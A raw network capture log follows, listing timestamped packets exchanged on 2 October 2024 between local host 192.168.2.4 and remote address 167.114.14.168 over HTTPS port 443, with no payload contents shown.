Oct 2, 2024 06:10:24.015655041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.015671015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.015721083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.015726089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.015763998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.016062975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.016078949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.016124010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.016129017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.016161919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.017097950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.017112970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.017143011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.017148018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.017163038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.017184019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.100802898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.100824118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.100898027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.100913048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.100954056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.103055954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.103071928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.103127003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.103132963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.103176117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.103553057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.103568077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.103600979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.103606939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.103636026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.103651047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.104742050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.104757071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.104811907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.104818106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.104861021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.105493069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.105509043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.105557919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.105564117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.105602980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.106128931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.106143951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.106184006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.106189013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.106221914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.106719017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.106734991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.106767893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.106774092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.106792927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.106853962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.107083082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.107098103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.107141972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.107146978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.107189894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.111399889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.191436052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.191453934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.191493034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.191500902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.191517115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.191540003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.193999052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.194026947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.194055080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.194058895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.194088936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.194103003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.194528103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.194545031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.194585085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.194590092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.194607973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.194632053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.195264101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.195280075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.195313931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.195317984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.195327997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.195353985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.195816040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.195832014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.195878983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.195883989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.195911884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.195919991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.197241068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.197257042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.197309017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.197314024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.197360992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.197653055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.197669029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.197721958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.197726965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.197761059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.197778940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.198004007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.198020935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.198076963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.198081970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.198117018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.282264948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.282286882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.282357931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.282366991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.282413006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.284682035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.284714937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.284742117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.284745932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.284780979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.284780979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.285221100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.285237074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.285274029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.285278082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.285298109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.285320997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.285993099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.286006927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.286048889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.286055088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.286096096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.286648035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.286663055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.286706924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.286712885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.286747932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.287825108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.287841082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.287878990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.287883997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.287920952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.288278103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.288294077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.288333893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.288338900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.288377047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.288650990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.288666010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.288717985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.288722992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.288764954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.372739077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.372757912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.372874975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.372884035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.372927904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.375436068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.375452995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.375524998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.375530005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.375576019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.375720978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.375735998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.375788927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.375794888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.375837088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.376532078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.376548052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.376590014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.376595020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.376635075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.377180099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.377196074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.377242088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.377245903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.377265930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.377288103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.378608942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.378628016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.378668070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.378673077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.378701925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.378741980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.378988028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.379417896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.379434109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.379468918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.379473925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.379499912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.379508018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.379784107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.379802942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.379856110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.379861116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.379916906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.465367079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.465383053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.465467930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.465475082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.465514898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.466177940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.466192961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.466248989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.466252089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.466289043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.466811895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.466829062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.466877937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.466882944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.466922045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.467494965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.467510939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.467561960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.467566013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.467602968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.467950106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.467964888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.468017101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.468022108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.468064070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.471636057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.471663952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.471697092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.471702099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.471724987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.471735001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.471892118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.471909046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.471956015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.471961021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.471997976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.472187996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.472203016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.472248077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.472255945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.472294092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.554177046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.554193020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.554291964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.554303885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.554348946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.556762934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.556778908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.556837082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.556843042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.556880951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.557262897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.557276964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.557327032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.557332039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.557369947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.558083057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.558105946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.558150053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.558154106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.558186054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.558537960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.558554888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.558610916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.558615923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.558653116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562161922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562179089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562231064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562237024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562275887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562561035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562575102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562614918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562619925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562653065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562674046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562834978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562848091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562907934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.562915087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.562958002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.644990921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.645008087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.645088911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.645095110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.645136118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.647494078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.647511005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.647571087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.647577047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.647613049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.647897959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.647912979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.647968054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.647974014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.648010015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.648720980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.648735046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.648789883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.648796082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.648832083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.649266005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.649281025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.649344921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.649348974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.649390936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.652844906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.652861118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.652915955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.652921915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.652960062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.653291941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.653306961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.653357029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.653361082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.653398991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.653618097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.653636932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.653681993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.653687000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.653723955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.736520052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.736538887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.736658096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.736668110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.736705065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.739502907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.739520073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.739581108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.739587069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.739622116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.739962101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.739976883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.740017891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.740021944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.740046024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.740070105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.741091013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.741103888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.741144896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.741148949 CEST	443	49744	167.114.14.168	192.168.2.4
